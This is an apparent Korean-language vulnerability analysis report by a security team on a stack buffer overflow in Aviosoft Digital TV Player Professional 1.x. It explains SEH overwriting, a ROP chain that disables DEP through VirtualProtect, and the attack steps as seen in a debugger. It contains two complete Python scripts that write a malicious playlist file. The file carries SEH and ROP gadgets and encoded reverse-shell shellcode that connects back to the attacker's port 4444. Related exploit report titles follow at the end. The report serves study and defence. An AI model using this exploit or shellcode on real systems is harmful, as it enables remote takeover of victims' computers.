목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드
|
|
- 서라 초
- 6 years ago
- Views:
Transcription
1 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] RedAlert Team 강동우
2 목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 공격 결론 대응방안 참고자료... 22
3 1. 개요 1.1. 취약점분석추진배경 Aviosoft Digital TV Player 프로그램은 DVD 파일을재생할수있는미디어프로그램이다. Aviosoft Digital TV Player 프로그램에서 DEP 가제외된상태로 DVD 플레이리스트파일불러올때파일내용의길이를체크하지않는것을발견하였고이를이용해 Crash 가발생하는것을발견하였다 취약점요약 Aviosoft Digital TV Player 에서플레이리스트파일을로드할경우파일내용의길이를체크하지않아정상버퍼이상문자열이포함되어있는플레이리스트파일을삽입할경우 Aviosoft Digital TV Player 에서 Crash 가발생한다. 이를이용하여 seh 를변조하여공격 sehllcode 를실행한다. 하지만 DEP 가걸려있는상태에서는작동하지않으므로 DEP 를우회하여 sehllcode 가실행되도록한다 취약점정보 취약점이름 Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow 최초발표일 2011 년 11 월 08 일 문서작성일 2011 년 11 월 9 일 위험등급 높음 벤더 Aviosoft.lnc 취약점영향 목적과다른방향으로프로그램실행 현재상태 패치됨 표 1. Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow 취약점개요 1.4. 취약점대상시스템목록 Aviosoft Digital TV Player 프로그램자체의취약점으로 Aviosoft Digital TV Player 가사용될 수있는모든 Window 가대상이된다. Microsoft Windows 2000 Microsoft Windows XP Microsoft Windows 2003 Microsoft Windows Vista Microsoft Windows 7 Microsoft Windows
4 2. 분석 2.1. 공격기법및기본개념 위프로그램을공격하기위해 Stack Buffer Overflow, seh 변조, ROP 가사용되었다. Buffer Overflow 의방법중 Stack Buffer Overflow 는정상버퍼크기이상의문자열이입력 되었을경우정상버퍼를넘어선다른영역을침범하여 Crash 를발생시킬수있으며 Crash 로인해 exploit 을시도할수있다. Window 에서에러제어를위해사용되는 seh 를악용하여공격자가심어둔 sehllcode 로 이동하여 sehllcode 를실행할수있다. DEP 란 Data 영역에서코드의실행을방지하여임의의코드가실행되는것을방지하는방어 기법이다. Window 에서사용되며 linux 의 NX-bit 와같은것이다. Window 상에서 DEP 설정 값이 4 가지가있으며다음과같다. Optln Window XP 의기본구성값이며하드웨어강화 DEP 기능이있는 OptOut AlwaysOn 프로세서를사용한다면, DEP 는기본적으로사용된다. Window 2003 sp1 의기본구성값이다. DEP 에대한시스템호환성해결은효력을발휘하지않는다. 모든시스템에 DEP 를사용하는설정값이다. 모든과정은언제나 DEP 에 적용된다. DEP 보호에예외프로그램으로지정된목록이있다할지라도 이는무시된다. DEP 에대한시스템호환성도효력을발휘하지않는다. AlwaysOff 어느시스템에서도 DEP 를사용하지않도록하는설정값이다. 본취약점에서 DEP 를우회하기위해사용된시스템함수는 VirtualProtect 로써이함수의 구조체값으로메모리내의 DEP 설정범위와설정값을지정하여메모리영역의 DEP 설정을 변경할수있는함수이다. 시스템함수 Call 과인자값을넣어주기위해 ROP 를사용할 것이다. VirtualProtect 의구조체인자값으로 4 가지가있으며다음과같다. in LPVOID lpaddress 변경할메모리시작주소 in SIZE_T dwsize 변경할메모리 size in DWORD flnewprotect 변경할설정값 out PDWORD lpfloldprotect 변경전상태를저장할변수포인터 2
5 위변경될설정값으론메모리보호상수가사용되며메모리보호상수는 8 가지가있으며 다음과같다. PAGE_EXECUTE 0x10 PAGE_EXECUTE_READ 0x20 PAGE_EXECUTE_READWRITE 0x40 PAGE_EXECUTE_WRITECOPY 0x80 PAGE_NOACCESS 0x01 PAGE_READONLY 0x02 PAGE_READWRITE 0x04 PAGE_WRITECOPY 0x08 실행권한을준다. 실행, 읽기권한을준다. 실행, 읽기, 쓰기권한을준다. 쓰기를할때사본을만든다. 모든접근권한을비활성화한다. 읽기전용권한을준다. 읽기, 쓰기권한을준다. 읽고쓸수있는오브젝트를생성하되즉시복사를 사용한다 ROP 란 Return Oriented Programming 의약자로취약한프로그램내부에있는기계어 코드섹션들 (Gadget) 을사용하여특정명령을실행시키는방법을말한다 시나리오 1 공격자컴퓨터에서 4444 포트를열고피해자가접근할동안대기한다. 2 피해자컴퓨터의 DEP 에서 Aviosoft Digital TV Player 를제외시킨다. 3 피해자컴퓨터에서 Aviosoft Digital TV Player 구동시킨다. 4 피해자는공격코드가들어있는플레이리스트파일을실행시킨다. 5 공격자컴퓨터로피해자컴퓨터가접근하는지확인한다. 6 접근이된다면 Aviosoft Digital TV Player 를 DEP 목록에추가하여 DEP 의보호를받도록한다. 7 공격코드가들어있는플레이리스트파일을실행시켜 DEP 가작동되는지확인한다. 8 공격코드에 DEP 우회 ROP 를추가하여피해자컴퓨터에서 Aviosoft Digital TV Player 를실행후수정된플레이리스트파일을실행시킨다. 9 공격자컴퓨터로피해자컴퓨터가접근하는지확인한다. 3
6 2.3. 공격코드 #!/usr/bin/python import struct file = 'adtv_bof(basic).plf' # 생성될파일이름 totalsize = 5000 # exploit 총길이 junk = 'A' * 868 # Nseh 를수정하기전까지의 junk 값 Nseh = '\xeb\x10\x90\x90' # jmp 10 의기계어를 Nseh 로수정한다. seh = struct.pack('<l', 0x616280eb) # pop ecx pop ecx ret nop = '\x90' * 32 # 공격자컴퓨터의 4444 포트로접근하는 reverse sehllcode 이다. sehllcode = ( "\xda\xce\xbb\x83\x02\x99\xf5\xd9\x74\x24\xf4\x5a\x33\xc9" + "\xb1\x49\x83\xea\xfc\x31\x5a\x15\x03\x5a\x15\x61\xf7\x65" + "\x1d\xec\xf8\x95\xde\x8e\x71\x70\xef\x9c\xe6\xf0\x42\x10" + "\x6c\x54\x6f\xdb\x20\x4d\xe4\xa9\xec\x62\x4d\x07\xcb\x4d" + "\x4e\xa6\xd3\x02\x8c\xa9\xaf\x58\xc1\x09\x91\x92\x14\x48" + "\xd6\xcf\xd7\x18\x8f\x84\x4a\x8c\xa4\xd9\x56\xad\x6a\x56" + "\xe6\xd5\x0f\xa9\x93\x6f\x11\xfa\x0c\xe4\x59\xe2\x27\xa2" + "\x79\x13\xeb\xb1\x46\x5a\x80\x01\x3c\x5d\x40\x58\xbd\x6f" + "\xac\x36\x80\x5f\x21\x47\xc4\x58\xda\x32\x3e\x9b\x67\x44" + "\x85\xe1\xb3\xc1\x18\x41\x37\x71\xf9\x73\x94\xe7\x8a\x78" + "\x51\x6c\xd4\x9c\x64\xa1\x6e\x98\xed\x44\xa1\x28\xb5\x62" + "\x65\x70\x6d\x0b\x3c\xdc\xc0\x34\x5e\xb8\xbd\x90\x14\x2b" + "\xa9\xa2\x76\x24\x1e\x98\x88\xb4\x08\xab\xfb\x86\x97\x07" + "\x94\xaa\x50\x81\x63\xcc\x4a\x75\xfb\x33\x75\x85\xd5\xf7" + "\x21\xd5\x4d\xd1\x49\xbe\x8d\xde\x9f\x10\xde\x70\x70\xd0" + "\x8e\x30\x20\xb8\xc4\xbe\x1f\xd8\xe6\x14\x08\x72\x1c\xff" + "\xf7\x2a\x42\x7d\x9f\x28\x7b\x90\x3c\xa5\x9d\xf8\xac\xe3" + "\x36\x95\x55\xae\xcd\x04\x99\x65\xa8\x07\x11\x89\x4c\xc9" + "\xd2\xe4\x5e\xbe\x12\xb3\x3d\x69\x2c\x6e\x2b\x96\xb8\x94" + "\xfa\xc1\x54\x96\xdb\x26\xfb\x69\x0e\x3d\x32\xff\xf1\x2a" + "\x3b\xef\xf1\xaa\x6d\x65\xf2\xc2\xc9\xdd\xa1\xf7\x15\xc8" + "\xd5\xab\x83\xf2\x8f\x18\x03\x9a\x2d\x46\x63\x05\xcd\xad" + "\x75\x7a\x18\x88\xf3\x8a\x2e\xf8\x3f" ) sisa = 'C' * (totalsize - len(seh+nseh+nop+sehllcode)) # seh, Nseh, nop, sehllcode 를제외한 # 나머지총길이를맞춰주기위한 junk 값 payload = junk+nseh+seh+nop+sehllcode+sisa # Nseh 를수정하기위한 jnuk 값을먼저넣어준후 # Nseh 를 jmp 10 으로수정한다 seh 는 ppr 로수정 # Crash 가발생하면 seh 가먼저실행된후 Nseh 의 # jmp 10 이작동되어 nop 위치로이동된다. # nop 이실행된후 sehllcode 가실행된다. f = open(file,'w') print "Author: modpr0be" print "Payload size: ", len(payload) # 파일생성시페이로드의길이를보여준다. f.write(payload) print "File",file, "successfully created" f.close() DEP 를우회를위한 ROP 추가 #!/usr/bin/python import struct file = 'adtv_bof.plf' totalsize = 5000 # 생성될파일이름 # exploit 총길이 4
7 junk = 'A' * 872 align = 'B' * 136 # seh 를수정하기위한 junk 값 # aslr, dep bypass using pushad technique seh = struct.pack('<l', 0x a) # ADD ESP,800 # RETN # ROP NOP 로 jmp 하기위해 esp 을한다. # 과정으로인해 Nseh 로이동하지않고바로 ROP 로이동 rop = struct.pack('<l', 0x ) * 10 # RETN (ROP NOP) # 이 RETN 은 ROP 에서 NOP 과같은역할을하며 # 위 seh 에서이 NOP 으로 jmp 된다. rop+= struct.pack('<l', 0x a) rop+= struct.pack('<l', 0x ) # POP EDX # RETN # EDX 에 VirtualProtect 의주소를넣은후 # RENT 한다 # 위 EDX 에사용될 VirtualProtect 주소 rop+= struct.pack('<l', 0x ) rop+= struct.pack('<l', 0x ) # PUSH EDX # POP EAX # POP ESI # RETN # EDX 의값 (VirtualProtect 주소 ) 를 stack 에넣는다 # stack 에넣은 VirtualProtect 주소를다시 EAX 에 # 넣는다. # ESI 에 을넣는다 # 위 ESI 에넣어질값 rop+= struct.pack('<l', 0x f) rop+= struct.pack('<l', 0x ) * 3. rop+= struct.pack('<l', 0x ) rop+= struct.pack('<l', 0x ) * 3 # MOV ECX,DWORD PTR DS:[EDX] # 이과정에선 VirtualProtect 주소를 ECX 에넣는데 # 실제 VirtualProtect 주소인 0x7C801AD4 가들어 # 가며처음부터실제주소를쓰지않는이유는 # badchars 중하나인 0x1a 가실제주소에포함되어 # 사용하지못하기때문이다. # 이과정외에 pop pop pop 이 3 개가있으며 # 이 junk 값이들어간다 # PUSH ECX # 실제 VirtualProtect 함수주소를 stack 에넣는다 # ADD AL,5F # VirtualProtect 의주소중최하위의 08 에서 0x5F # 를더한다. # XOR EAX,EAX # EAX 를 XOR 하여 0 으로만든다. # POP ESI # RETN 0C # ESI 에실제 VirtualProtect 의주소를넣는다. # Filler (RETN offset compensation) # stack 정리를위한 NOP rop+= struct.pack('<l', 0x6403d1a6) rop+= struct.pack('<l', 0x ) * 3 rop+= struct.pack('<l', 0x ) # POP EBP # RETN # 밑의 push esp # ret 0c 를 EBP 에넣는다. # stack 정리를위한 NOP # & push esp # ret 0c rop+= struct.pack('<l', 0x61323EA8) rop+= struct.pack('<l', 0xA13977DF) rop+= struct.pack('<l', 0x640203fc) # POP EAX # RETN # EAX 에 343 를만들기위해 # A13977DF 을 EAX 에넣는다 # ADD EAX,5EC68B64 # RETN # A13977DF + 5EC68B64 = 343 를 EAX 에넣는다. 5
8 rop+= struct.pack('<l', 0x6163d37b) # PUSH EAX # stack 에 343 를넣는다 # ADD AL,5E # 0x43 + 0x5E = A1 즉,EAX 에 3A1 이들어간다. # POP EBX # RETN # EBX 에 343 을넣는다. # VirtualProtect 함수인자중 dwsize 인자값 rop+= struct.pack('<l', 0x ) rop+= struct.pack('<l', 0x640203fc) # XOR EAX,EAX # RETN # EAX 를 0 으로만든다. # ADD EAX,5EC68B64 # RETN # EAX 에 5EC68B64 를넣는다. rop+= struct.pack('<l', 0x a) rop+= struct.pack('<l', 0xA13974DC) rop+= struct.pack('<l', 0x613107fb) rop+= struct.pack('<l', 0x ) rop+= struct.pack('<l', 0x ) rop+= struct.pack('<l', 0x61329e07) rop+= struct.pack('<l', 0x ) # POP EDX # RETN # EDX 에밑의주소값을넣는다. # 위에쓰일주소값 0x > edx # ADD EDX,EAX # A13974DC + 5EC68B64 = 40 # EDX 에위에더해진 40 을넣는다. # MOV EAX,EDX # RETN # EDX 의 40 을 EAX 로옮긴다. # VirtualProtect 함수인자중 flnewprotect 인자값 # POP ECX # RETN # ECX 에 Writable location 를 # 가리키는주소를넣는다. # Writable location 을가리키는주소 # VirtualProtect 함수인자중 # lpfloldprotect 인자값 # POP EDI # RETN # EDI 에 ROP NOP 의주소를넣는다. # RETN (ROP NOP) 의주소 rop+= struct.pack('<l', 0x ) rop+= struct.pack('<l', 0x ) # POP EAX # RETN # EAX 에 NOP 을넣는다. # EAX 에넣을 nop rop+= struct.pack('<l', 0x60322e02) # PUSHAD # RETN # PUSHAD 가되면서 stack 에 # VirtualProtect 함수의인자순서대로들어가게되며 # VirtualProtect 가 # IpAddress : 0013F4F8 # dwsize : 343 # flnewprotect : 40 # IpflOldProtect : # 이러한인자를가지고실행이된다. nop = '\x90' * 32 # 공격자컴퓨터의 4444 포트로접근하는 reverse sehllcode 이다. sehllcode = ( "\xda\xce\xbb\x83\x02\x99\xf5\xd9\x74\x24\xf4\x5a\x33\xc9" + "\xb1\x49\x83\xea\xfc\x31\x5a\x15\x03\x5a\x15\x61\xf7\x65" + "\x1d\xec\xf8\x95\xde\x8e\x71\x70\xef\x9c\xe6\xf0\x42\x10" + "\x6c\x54\x6f\xdb\x20\x4d\xe4\xa9\xec\x62\x4d\x07\xcb\x4d" + "\x4e\xa6\xd3\x02\x8c\xa9\xaf\x58\xc1\x09\x91\x92\x14\x48" + 6
9 "\xd6\xcf\xd7\x18\x8f\x84\x4a\x8c\xa4\xd9\x56\xad\x6a\x56" + "\xe6\xd5\x0f\xa9\x93\x6f\x11\xfa\x0c\xe4\x59\xe2\x27\xa2" + "\x79\x13\xeb\xb1\x46\x5a\x80\x01\x3c\x5d\x40\x58\xbd\x6f" + "\xac\x36\x80\x5f\x21\x47\xc4\x58\xda\x32\x3e\x9b\x67\x44" + "\x85\xe1\xb3\xc1\x18\x41\x37\x71\xf9\x73\x94\xe7\x8a\x78" + "\x51\x6c\xd4\x9c\x64\xa1\x6e\x98\xed\x44\xa1\x28\xb5\x62" + "\x65\x70\x6d\x0b\x3c\xdc\xc0\x34\x5e\xb8\xbd\x90\x14\x2b" + "\xa9\xa2\x76\x24\x1e\x98\x88\xb4\x08\xab\xfb\x86\x97\x07" + "\x94\xaa\x50\x81\x63\xcc\x4a\x75\xfb\x33\x75\x85\xd5\xf7" + "\x21\xd5\x4d\xd1\x49\xbe\x8d\xde\x9f\x10\xde\x70\x70\xd0" + "\x8e\x30\x20\xb8\xc4\xbe\x1f\xd8\xe6\x14\x08\x72\x1c\xff" + "\xf7\x2a\x42\x7d\x9f\x28\x7b\x90\x3c\xa5\x9d\xf8\xac\xe3" + "\x36\x95\x55\xae\xcd\x04\x99\x65\xa8\x07\x11\x89\x4c\xc9" + "\xd2\xe4\x5e\xbe\x12\xb3\x3d\x69\x2c\x6e\x2b\x96\xb8\x94" + "\xfa\xc1\x54\x96\xdb\x26\xfb\x69\x0e\x3d\x32\xff\xf1\x2a" + "\x3b\xef\xf1\xaa\x6d\x65\xf2\xc2\xc9\xdd\xa1\xf7\x15\xc8" + "\xd5\xab\x83\xf2\x8f\x18\x03\x9a\x2d\x46\x63\x05\xcd\xad" + "\x75\x7a\x18\x88\xf3\x8a\x2e\xf8\x3f" ) sisa = 'C' * (totalsize - len(seh+rop+nop+sehllcode)) payload = junk+seh+align+rop+nop+sehllcode+sisa f = open(file,'w') print "Author: modpr0be" print "Payload size: ", len(payload) f.write(payload) print "File",file, "successfully created" f.close() # seh, Nseh, nop, sehllcode 를제외한 # 나머지총길이를맞춰주기위한 junk 값 # seh 를수정하기위한 junk 값을넣는다 # seh 가실행되면 +800 이되며 ROP 로 # 이동되야하기에사이에 align 값을넣어 # 채워준다 ROP 로이동후 VirtualProtect # 가실행되고메모리에실행, 읽기, 쓰기 # 권한을얻으며 DEP 가우회된상태로 # nop 으로이동후 sehllcode 가실행된다. 7
10 3. 공격 이파트은실제공격화면위주이며자세한코드에대한설명은분석파트를보기바란다. [ 그림 1] 공격자컴퓨터에서대기화면 공격자컴퓨터에서피해자컴퓨터에서접근가능하도록 4444 포트를열고대기한다. [ 그림 2] Aviosoft Digital TV Player 를 DEP 에서제외시킨다. Aviosoft Digital TV Player 를 DEP 에서제외시킴으로써보통 BOF 가가능하게만든다. 8
11 [ 그림 3] 공격코드가담긴플레이리스트실행 seh 에 ppr 주소를넣은공격코드를실행시킨다. [ 그림 4] seh 수정화면 seh 가 pop ecx pop ecx ret 로수정된것을볼수있다. 9
12 [ 그림 5] Nseh 실행화면 seh 실행후 Nseh 의 jmp 10 이실행되어 0013F3CE 즉, nop 이위치한초록박스 사이로 jmp 하는것을볼수있다. [ 그림 6] nop 으로이동화면 10
13 [ 그림 7] 공격 sehllcode 시작화면 공격 sehllcode 가시작되는것을볼수있다. [ 그림 8] 공격성공화면 11
14 [ 그림 9] Aviosoft Digital TV Player 를 DEP 에다시적용 Aviosoft Digital TV Player 를다시 DEP 에적용시키고위공격코드실행에성공한파일을다시실행시켜본다. 아무것도실행되지않고 Aviosoft Digital TV Player 가종료되는것을볼수있다. 이는 DEP 로인해데이터영역의실행권한이없기때문이다. 이를해결하기위해 VirtualProtect 시스템함수를사용하여 DEP 우회를시도한다. [ 그림 10] DEP 우회 ROP 가있는플레이리스트파일실행 DEP 우회를위해 ROP 를추가한플레이리스트파일을실행시킨다. 12
15 [ 그림 11] seh 수정화면 seh 에 VirtualProtect 시스템함수를사용하기위한 ROP 이동하기위해 ADD ESP, 800 의가젯주소로수정된것을볼수있다. [ 그림 12] ROP 로이동화면 ADD ESP, 800 가젯으로인해 ROP 로이동한것을볼수있다. 13
16 [ 그림 13] EDX 변조화면 POP EDX 로인해 EDX 에 VirtualProtect 의주소가삽입되었다. [ 그림 14] stack 변조화면 PUSH EDX 로인해 EDX 에있던 VirtualProtect 의주소가 stack 에삽입되었다. 14
17 [ 그림 15] EAX 변조화면 POP EAX 로인해 stack 에있던 VirtualProtect 의주소가 EAX 에삽입되었다. [ 그림 16] ECX 에 VirtualProtect 실제주소삽입 ECX 에실제 VirtualProtect 의주소가삽입되었다. 15
18 [ 그림 17] EAX 에 A13977DF 삽입 EAX 에 A13977DF 삽입한다. [ 그림 18] EAX 에 in SIZE_T dwsize 인자값생성 EAX 에 5EC68B64 에더함으로해서 343 가만들어지며이는 VirtualProtect 함수인자 중 dwsize 인자값이된다. 16
19 [ 그림 19] EAX 에 5EC68B64 를삽입 위과정전에 XOR 을사용하여 EAX 를 0 으로초기화시켜준다. 위과정으로인해 EAX 에 5EC68B64 가삽입된다 [ 그림 20] EDX 에 A13974DC 삽입 EDX 에 A13974DC 를삽입한다. 17
20 [ 그림 21] EAX 에 in DWORD flnewprotect 인자값생성 EDX 에 5EC68B64 + A13974DC = 40 이들어가며후에 EAX 에다시넣는다. 이값은 VirtualProtect 함수인자중 flnewprotect 인자값이된다. [ 그림 22] ECX 에 out PDWORD lpfloldprotect 인자값생성 ECX 에 VirtualProtect 함수인자중 lpfloldprotect 인자값을넣는다. 18
21 [ 그림 23] PUSHAD 로인한 VirtualProtect 인자완성화면 위마지막 ESP 가 VirtualProtect 인자중 lpaddress 이되며 PUSHAD 로인해가젯으로생성된인자값이 stack 에 in LPVOID lpaddress in SIZE_T dwsize in DWORD flnewprotect out PDWORD lpfloldprotect 순서대로정상적으로들어간것이확인된다. 이후 sehllcode 가 DEP 가우회된상태로작동된다. 19
22 [ 그림 24] 공격성공화면 20
23 4. 결론 본프로그램을플레이리스트파일을불러올때정상버퍼이상의문자열을확인하지않는것을이용하여정상데이터대신정상버퍼이상의공격 sehllcode 가삽입되어있는플레이리스트파일을불러와 sehllcode 가실행된다. 이런 BOF 를막기위해데이터영역의실행권한을설정하는 DEP 를사용하지만 DEP 설정하는함수를사용하여 DEP 를해제하여 Sehllcode 가실행되도록하였다. 5. 대응방안 플레이리스트파일에정상버퍼이상의문자열이들어왔을때의문제이므로플레이리스트파일의문자열길이를체크하는코드를추가하거나길이를체크하는체크섬부분을추가하면될것이다. 21
24 6. 참고자료 DEP VirtualProtect 인자값 취약점본문 22
취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우
취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.
More informationActFax 4.31 Local Privilege Escalation Exploit
NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13
More information취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환
취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer
More informationDeok9_Exploit Technique
Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security
More informationhlogin2
0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS
More information익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost
익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional
More information취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환
취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple
More informationReusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn
Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link
More information01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO
01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example
More information취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균
취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] 2012-08-02 RedAlert Team 봉용균 목 차 1. 개요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 1 1.4. 대상시스템... 1 2. 공격... 2 2.1. 시나리오... 2 2.2. 대상프로그램... 2 2.3.
More informationINTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co
Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com
More informationhlogin7
0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function
More informationNo Slide Title
Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea
More informationCKKeyPro 적용가이드
3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.
More informationMicrosoft PowerPoint - a10.ppt [호환 모드]
Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는
More informationPowerPoint Template
BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는
More informationMicrosoft Word - Heap_Spray.doc
Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13
More informationIDA 5.x Manual 07.02.hwp
IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어
More informationEureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg
익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg
More information1.hwp
윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)
More informationPoison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow
More informationMicrosoft PowerPoint - chap06-2pointer.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.
More informationMicrosoft Word - building the win32 shellcode 01.doc
Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode
More informationsimple ROP Exploit
SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr 목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)...
More information<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>
연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.
More information0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1
FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$
More information슬라이드 1
-Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역
More informationLevel 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard
